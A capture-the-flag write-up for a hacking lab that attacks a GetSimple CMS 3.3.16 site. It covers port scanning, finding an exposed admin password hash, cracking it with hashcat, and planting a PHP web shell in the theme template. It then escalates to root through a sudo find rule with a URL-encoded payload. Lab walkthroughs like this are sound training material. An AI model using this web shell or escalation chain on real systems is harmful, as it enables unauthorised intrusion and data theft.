

Hidden CMS Breach

lab link: <https://hackerdna.com/labs/hidden-cms-breach/writeups>

- port enumeration `rustscan -a 108.130.194.96 -g -- -Pn`
- service and version enumeration `sudo nmap -sTCV -Pn -open -T4 -p80 108.130.194.96`

```
$ rustscan -a 108.130.194.96 -g -- -Pn
108.130.194.96 → [80,7681]

(kali@kali)-[~/test] [ | 23:14:19 EDT]
$ sudo nmap -sTCV -Pn -open -T4 -p80 108.130.194.96
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-09 23:18 -0400
Nmap scan report for ec2-108-130-194-96.eu-west-1.compute.amazonaws.com (108.130.194.96)
Host is up (0.13s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-robots.txt: 1 disallowed entry
|_ /new_website/
```

- After curling `http://<IP>/new_website` we can observe the domain

```
<div class="left">2026 <a href="http://getsimple.hdna
/new_website/" >GetSimple CTF</a></div>
```

- Adding IP and domain to `/etc/hosts/` for better resolution

```
$ tail /etc/hosts
...
#lab
3.255.189.224 getsimple.hdna
```

- enumeration CMS with `feroxbuster`. we may need more than default depth (4) but I did launch the tool multiple times with some finding.

```
feroxbuster --url http://getsimple.hdna/new_website/ -w ~/tools/wordlist/big2_ah9bf3.txt -C 404
```

- after exploring results, seems that we have the admin password hash

```
301 GET http://getsimple.hdna/new_website/data/users/ ⇒ http://getsimple.hdna/new_website/data/users/
200 GET http://getsimple.hdna/new_website/data/users/admin.xml
└─$ curl http://getsimple.hdna/new_website/data/users/admin.xml
<?xml version="1.0" encoding="UTF-8"?>
<item>
  <USR>admin</USR>
  <PWD>3<img alt="blurred hash" data-bbox="230 285 700 315"/></PWD>
  <EMAIL>admin@getsimple.hdna</EMAIL>
  <HTMLEditor>1</HTMLEditor>
  <TIMEZONE></TIMEZONE>
  <LANG>en_US</LANG>
</item>
```

- cracking it with hashcat. It looks like it's a SHA-1 hash.

```
└─$ hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LVM 18.1.8, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

=====
* Device #01: cpu-haswell-Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz, 18862/37725 MB (8192 MB allocatable), 8MCU

The following 7 hash-modes match the structure of your input hash:

# | Name
ry
=====+=====+=====
100 | SHA1
| Raw Ha
```

after trying it, the hash is cracked.

```
hashcat -m 100 -a 0 hash /usr/share/wordlists/rockyou.txt
```

```

* Filename ..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace ..: 14344385

3 [REDACTED] 3:1

Session.....: hashcat
Status.....: Cracked

```

Alternatively, we could try john or crackstation.net.

- connecting using found credential, path was found during previous enumerations.

getsimple.hdna/new_website/admin/

Warning: [Server Setup non-Apache](#)

GetSimple CTF

Username:

Password:

Login

« [Back to Website](#) | [Forgot your password?](#) »

And we're in ans we can see the CMS version

getsimple.hdna/new_website/admin/pages.php

Welcome admin! Logout

GetSimple CTF

Pages Files Theme Backups Plugins

Support Settings

Warning: [Server Setup non-Apache](#)

Page Management

TOGGLE STATUS FILTER

PAGE TITLE	DATE
Home	Nov 17, 2025 #

1 total pages

View All Pages

Create New Page

Menu Manager

Page Management • File Management • Theme Management • Backup Management • Plugin Management • General Settings • Support • Share

© 2009-2026 GetSimple CMS Version 3.3.16

- searching for exploit searchsploit GetSimpleCMS 3.3.16

```
$ searchsploit GetSimpleCMS 3.3.16
```

Exploit Title	Path
GetSimpleCMS 3.3.16 - Remote Code Executio	php/webapps/52168.txt

- POC is telling us that we could uploud a PHAR but not funding the upload function.
- Creating a new page wasn't functional but we could edit a template.

getsimple.hdna/new_website/admin/theme-edit.php

GetSimple CTF

Pages Files **Theme** Backups Plugins

Warning: [Server Setup non-Apache](#)

Theme Editor

Innovation ▼ Default Template

Editing File: http://getsimple.hdna/new_website/theme/Innovation/template.php

```
1 <?php system($_GET['cmd']); ?>
```

and RCE shell it working.

← → ↻ ⚠ Not secure getsimple.hdna/new_website/theme/Innovation/template.php?cmd=id

```
uid=100(nginx) gid=101(nginx) groups=82(www-data),101(nginx),101(nginx)
```

- found user flag

```

└─$ curl http://getsimple.hdna/new_website/theme/Innovation/template.php?cmd=
find%20/%20-type%20f%20-name%20%22flag*%22%20%3E/dev/null
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:01.0/tty/ttyS0/flags
/sys/devices/pci0000:00/0000:00:06.0/net/eth1/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
flag_user.txt

(kali㉿kali)-[~/test] [ | 22:38:36 EDT]
└─$ curl http://getsimple.hdna/new_website/theme/Innovation/template.php?cmd=
cat%20/home/flag_user.txt
9

```

- find bin could be used as root by our user and this our PE vector.

```

└─$ curl http://getsimple.hdna/new_website/theme/Innovation/template.php?cmd=
sudo%20-l
User nginx may run the following commands on ip-10-0-14-206:
(root) NOPASSWD: /usr/bin/find

```

- from GT0bins.org , we have a sudo read payload.

```

sudo find /root -name "flag*" -exec cat {} \;

%20%66%69%6e%64%20%2f%72%6f%6f%74%20%2d%6e%61%6d%65%20%22%66%6c%61%67%2a%22%20%2d%65%78%65%63%20%63%61%74%20%7b%7d%20%5c%3b%0a%0a

```

- And we have our root flag.

```

└─$ curl http://getsimple.hdna/new_website/theme/Innovation/template.php?cmd=
%73%75%64%6f%20%66%69%6e%64%20%2f%72%6f%6f%74%20%2d%6e%61%6d%65%20%22%66%6c%61%67%2a%22%20%2d%65%78%65%63%20%63%61%74%20%7b%7d%20%5c%3b%0a%0a
b:
e

```

Happy hunting !